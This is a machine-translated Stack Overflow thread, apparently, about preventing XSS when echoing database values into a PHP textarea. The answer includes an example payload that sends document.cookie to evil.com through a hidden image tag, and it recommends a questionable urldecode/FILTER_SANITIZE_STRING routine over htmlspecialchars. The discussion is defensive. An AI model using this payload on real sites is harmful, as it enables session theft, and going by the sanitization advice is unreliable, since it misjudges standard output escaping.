php - 清理 XSS 到 Textarea 的输出

如果要在文本区域等输入中使用数据库(在 php 中)的值,最好的清理方法是什么?

例如,当插入数据时,我可以去除标签和引号并将它们替换为 html 字符代码,然后在插入之前使用 mysql_real_escape_string。

当检索回该数据时,我需要它显示在文本区域中。我怎样才能做到这一点并仍然避免 XSS? (例如,您可以轻松输入

</textarea><script type='text/javascript'> Malicious Code</script><textarea>

) 并引起问题。

谢谢!

最佳答案

如果您想使用纯粹简单的 php 解决方案,我想我更喜欢 filter_varurl_decode 的组合

原因

想象一下这样的归因

$maliciousCode = "<script>document.write(\"<img src='http://evil.com/?cookies='\"+document.cookie+\"' style='display:none;' />\");</script> I love PHP";

如果我使用strip_tags

var_dump(strip_tags($maliciousCode));

输出

string 'document.write("' (length=16)

如果我使用htmlspecialchars

var_dump(htmlspecialchars($maliciousCode));

输出

string '&lt;script&gt;document.write(&quot;&lt;img src='http://evil.com/?cookies='&quot;+document.cookie+&quot;' style='display:none;' /&gt;&quot;);&lt;/script&gt; I love PHP' (length=166)

我的选择

function cleanData($str) {
    $str = urldecode ($str );
    $str = filter_var($str, FILTER_SANITIZE_STRING);
    $str = filter_var($str, FILTER_SANITIZE_SPECIAL_CHARS);
    return $str ;
}

$input = cleanData ( $maliciousCode );
var_dump($input);

输出

 string 'document.write(&#38;#34;&#38;#34;); I love PHP' (length=46)

如果表单使用 GET 而不是 POST 如果它是 url 编码的,一些可以直到转义,您可以获得最少的信息并确保最终文本是无害的

网上的类也够多,帮你做过滤看看

  • http://www.phpclasses.org/package/2189-PHP-Filter-out-unwanted-PHP-Javascript-HTML-tags-.html

  • http://htmlpurifier.org/

https://stackoverflow.com/questions/10270398/

相关文章:

unix - 在 Solaris 上如何找到谁或哪个进程向我的进程发送了信号

r - 在 R 中从循环或 lapply 按名称调用列表

maven - 你如何使用 Maven 设置 jetty-start?

visual-studio-2010 - 如何断开 VisualSVN 与我的解决方案的连接?

winapi - 如何更新进度条?

sql - Oracle CONNECT BY 分层查询中对父列的引用

php - 是否可以使用 PHP 添加事件监听器?

ms-access - 左外加入 Access ?

ms-access - Access : Truncation error when appendi

perl - Perl 中的非本地返回(从调用者返回)